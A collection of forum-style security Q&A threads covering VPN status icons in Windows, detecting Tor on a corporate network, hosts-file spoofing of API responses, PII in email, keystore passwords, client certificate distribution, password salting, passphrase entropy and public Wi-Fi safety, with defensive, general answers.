Why is my VPN behaving like this and should I be concerned? I recently started using NordVPN and have noticed something strange.

Sometimes when I connect to the VPN service in my system tray it will show a wifi connection and other times an ethernet connection. In both cases I am connected to my home router by wifi.

In case 1) where it shows a wifi icon in the corner it will display

1) "My router name" on top and "Unidentified network no internet access".

2) Then in the internet settings it shows this

And it shows

3) this in the status for each connection:

When I check different websites ipleak etc. it shows my VPN ip and VPN DNS, I cannot see any leaks this way.

At other times the opposite will happen and instead of having a wifi icon showing it will display as an ethernet connection and the following will now happen:

1) "My router name internet access" is on the bottom and "unidentified network" now says "internet access" and is on top.

2) My network settings now displays this

and my status for both connections now show this

3)

Notice how it now says ipv4 connectivity as internet for the VPN connection (ethernet 2).

Also in this case websites such as ipleak show my ip/dns as the VPN ip and there appears to be no leaks.

In both cases the bytes are increasing for both connections.

I have had both cases (wifi icon and images 1-3/ethernet icon and images 4-6) happen fairly regularly and even change whilst I am on the VPN. I have had no disconnects or anything like that.

I have a few questions:

A. Is this normal for a VPN to do this? (What is causing this behaviour)

B. Am I safe in both cases (as I cannot detect any leaks from ipleak and other similar sites even in the first case when it says no internet access for the VPN connection in its status menu) or should I be concerned for security/privacy?

Thank you.

This is not a VPN thing, it's a Windows & Microsoft thing.

Windows periodically probes the network connections looking for a particular Microsoft server (I forget which one). If it finds it, it changes the status to "Internet". Until Windows finds the Microsoft server it insists it has no network access, which is not necessarily true it just has no Microsoft server contact.

Your VPN appears to be functioning fine and you made, and should continue to verify, the apparent IP and DNS as you should so The VPN connection should be fine.

The more general question of "concern" is a much bigger question above and beyond that of the VPN transport.


How to detect if employees are using Tor? We work in an organisation which is supposed to be HIPAA compliant. Security is a big concern for us. We've been tasked to find out if any user is using anonymous proxy in the network.

Is there a way we can find if Tor is being used inside our corporate network domain? We're using Symantec client protection. VPN is provided using Cisco.

You can use a list of Tor (uplink) nodes, add this to the outgoing firewall, setup a task to update this once a day and you'll be good. But Tor can also be used over a HTTP(S) proxy, so you will have to detect proxies as well.

I am not sure if this is going to help you secure anything. As long as there is a connection to the internet, it would be possible to bypass these kind of security measures. You could end up spending endless time and energy to prohibit all kinds of proxies, VPN's, SSL tunnels and such. The advice is to just make sure they cannot do any harm by protecting whats important to your business, and leave users be. For example separate the network in compartments, use subnets, VLANs, DMZs and require authentication and authorization on private networks. Keep the important stuff in one zone, while allowing networking without restrictions on another. And so on...


Is it possible to change an API response using the host file? Would it be possible for someone to hijack the response of an API by using the host file, so for example www.sitename.com calls api.sitename.com/api/products. Could I use the host file to redirect the call  api.sitename.com/api/products to a local instance of the API? If so does that vulnerability have a name?

A diagram if I'm not explaing it too well:

API normal function

An API with a mocked response

If you can fake the price this way then this is basically due to improper validation of user input. It does not matter if the fake price comes because you've used another API endpoint (spoofing name resolution with manipulating hosts file or DNS) or if you've edited the page in the browser or if you've changed what got submitted to the server by intercepting the request - the server should never blindly trust anything which was send by the browser since what gets send is totally out of control of the server.

This means that the server would need to check if the price provided in the requested is actually the current price of the item. Or the server might send some cryptographic signature or HMAC (with a server-side secret) along with the price and can then check if the price still matches the signature/HMAC. But the server should never just blindly trust that the a price (or any other data) in the request is actually the one which was originally provided by the server.


What Gmail features should be Opted-Out to prevent PII from being indexed? The Massachusetts and Nevada PII laws require all email with SSNs or other personally identifying information to be encrypted (TLS or otherwise).

Of the free email providers, GMail does support TLS but they also index the message contents to provide contextual advertising through AdSense.

If we were to recommend our clients of Hotmail (doesn't support TLS) to use GMail, we also want to include instructions on how to opt out of whatever indexing is done within the GMail product.

  What procedures need to be followed to ensure that a GMail user's PII data is protected and not published into any index?

Social Security / tax numbers should never ever ever be sent by e-mail in plaintext. It doesn't matter if the E-mail is sent via SSL/TLS, you cannot guarantee that an e-mail will remain encrypted throughout it's life. (You can almost guarantee that it won't be)

I don't know what "personally identifying information" really means, but absolutely no information that could be use for identity theft should be included in an e-mail.

No CC numbers.
No SSN/TID.
No "security question" answers. (mother's maiden name and the likes)
Driver's license number
etc.

If you absolutely must send this information by e-mail it should be in an encrypted attachment.


Hardware components based on which to generate password I want to generate a password for a Keystore in java on Windows platform.
I would like to make a HASH out of some hardware information from my computer and some salt.
My question is: which hardware or system information i should use for my password generator? I want something that is 100% guaranteed it does not change so i can generate the same password over again. This way i don't lose access to my data.
Thank you!

If you were on Linux, you could simply query /dev/urandom to get the random value without carrying about what the source of the randomness exactly is. But yes, the device will use noise generated by the devices to increase the entropy.
On Windows you may use the Windows equivalent: https://stackoverflow.com/questions/191335/windows-equivalent-of-dev-random
But you may also use everything else that is meant for crypto purposes. You have tagged your question with [java]. In Java you may use the SecureRandom class. The output is unpredictable and this should be the most important concern regarding a random number generator.


How to distribute client certificates without exposing private key? I'm desgining a B2B web service based on WCF. As the number of clients is relatively small and security is a priority, i have chosen to go with X509 client certificates for client authentication.

I'm signing the client certificates with my own self-signed CA (which of course is being kept safe). I have also verified that the setup is working on a local set of computers.

One problem keeps bugging me though. As long as the certificates can be "physical" handed over i have no problem. However i can't seem to find a solution for safely transfering the client certificates to the actual clients. These are the options i have come up with so far:

1) Encryptering the certficates using symmetric encryption in PFX format. Then i'll e-mail the certificate and send the key for decrypting the certificate with good old snail-mail (that is, a physical letter)

2) Build a simple website that let's the clients log-in using a temporary URL (credentials sent to e-mail address) and then download the certificate. The site would be secured using HTTPS. The security then fully relies on the security of the clients e-mail and that no-one picks up the URL from the e-mail

I tend to prefer option 1) as the only security flaw there would be for someone to actually steal the key from the physical letter. However it seems a bit tedious to use a physcial letter.

Is there any de-facto standard for solving this issue that i am overlooking that provides reasonable security?

The "normal" way of doing certificates is that the private key never leaves the client system. Things go like this:

The private/public key pair is generated on the client system.
The public key is sent to the CA as part of a certificate request (normally PKCS#10 format).
The CA builds and signs the certificate, which is sent back to the client.

The critical part now becomes making sure that the CA is talking to the right client at issuance time; but, at least, only public data is transferred, which makes things simpler.

I suggest that you send to your prospective clients a one-time password by mail -- not email, but the more traditional paper-based mail. They then use it to enroll on your CA (within HTTPS, of course). Make your life easier: use a CA product which already includes the necessary software and process.


If multiple users on the same website all use the same password, is their password hash the same? My basic knowledge would assume yes, unless websites somehow include the user name into the hashing function with the password, but I am not sure if this is common practice.

It depends on whether or not they add individual salts or if they use a common salt (or no salt at all).

If they use individual salts, then they'll be different; otherwise, they'll [likely] be the same.


Can you measure the entropy of an "easy to remember" password? I am trying to come up with a way to measure the entropy of a password that is easy to remember, based on a list of common English words, loosely based on this XKCD comic. I'd like to know if my math is correct or if my assumptions about "easy to remember" are flawed.

I'll consider the number of common English words in the dictionary to be the variable d.

I'll consider the number of words to use in the password to be the variable n.

If the US-English keyboard is considered to contain all the likely characters that would reasonably make up a password that is easy to remember, I count 96 total symbols that can be directly keyed, including uppercase and lowercase letters.

Those are:

TAB SPACE ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz 0123456789 ~`!@#$%^&*()_-+= {[}]|\ :;"'<,>.?/

I'll consider these characters to be extra complexity which can be added to the dictionary words, or the variable e as 96.

So that they are easier to remember, I'll only consider adding symbols to the beginning or end of a word, or as a word by themselves, but not arbitrarily placed inside of a dictionary word. That should mean there are 2*n+n+1 positions available for each symbol which is added. I'll use the variable s for the number of extra complexity symbols added.

The equation for the total possible combinations in use should then be:

combinations = d^n + e^(s*(2*n+n+1))

Therefore, the number of bits of entropy this kind of password provides should be:

bits = log2(commbinations)

Is my math correct?

Are my assumptions about rules for an easy to remember password flawed?

I didn't check your combinations formula (as I explain below), but if users choose between all possible combinations with equal probability, then yes, you just take the base-2 logarithm of the number of possible combinations.

But the most important part of a scheme like this is what I boldfaced: how do you get users to choose between all of the combination with equal probability?  The XKCD comic really fails to address that, and you see people too often fail to grasp that point.  There is however the Diceware method, an older version of the same concept, which addresses this problem by instructing users to throw dice as part of the process for generating a passphrase.

The other thing that you should contemplate is whether your scheme of putting additional symbols on each word is actually worth it.  The additional symbols aren't magical—they just increase the number of combinations, something you can do much more simply simply by using more words; any gain you could get for increasing s, you can obtain by increasing n instead.  This is why I didn't check your combinations formula—I'm skeptical of the value of the additional symbols.


How do I protect myself when using a public network? I'm in a hostel with plenty of software engineers. I want to make sure I have some protection.

I quickly read about dnscrypt and some VPN solutions.

What measures can I take to ensure my data traffic remains protected?

PS: This is really not the same question as VPN Authentication over WiFi -- Is it secure?. That question would be a follow up question to this one.

Here are some useful tips from Kaspersky Lab’s team of Internet security experts:

Be aware
    Public Wi-Fi is inherently insecure – so be cautious.

Remember – any device could be at risk
    Laptops, smartphones, and tablets are all susceptible to the wireless security risks.

Treat all Wi-Fi links with suspicion
    Don’t just assume that the Wi-Fi link is legitimate. It could be a bogus link that has been set up by a cybercriminal that’s trying to capture valuable, personal information from unsuspecting users. Question everything – and don’t connect to an unknown or unrecognized wireless access point.

Try to verify it’s a legitimate wireless connection
    Some bogus links – that have been set up by malicious users – will have a connection name that’s deliberately similar to the coffee shop, hotel, or venue that’s offering free Wi-Fi. If you can speak with an employee at the location that’s providing the public Wi-Fi connection, ask for information about their legitimate Wi-Fi access point – such as the connection’s name and IP address.

Use a VPN (virtual private network)
    By using a VPN when you connect to a public Wi-Fi network, you’ll effectively be using a ‘private tunnel’ that encrypts all of your data that passes through the network. This can help to prevent cybercriminals – that are lurking on the network – from intercepting your data.

Avoid using specific types of website
    It’s a good idea to avoid logging into websites where there’s a chance that cybercriminals could capture your identity, passwords, or personal information – such as social networking sites, online banking services, or any websites that store your credit card information.

Consider using your cell phone
    If you need to access any websites that store or require the input of any sensitive information – including social networking, online shopping, and online banking sites – it may be worthwhile accessing them via your cell phone network, instead of the public Wi-Fi connection.

Protect your device against cyberattacks
    Make sure all of your devices are protected by a rigorous anti-malware and security solution – and ensure that it’s updated as regularly as possible.

Source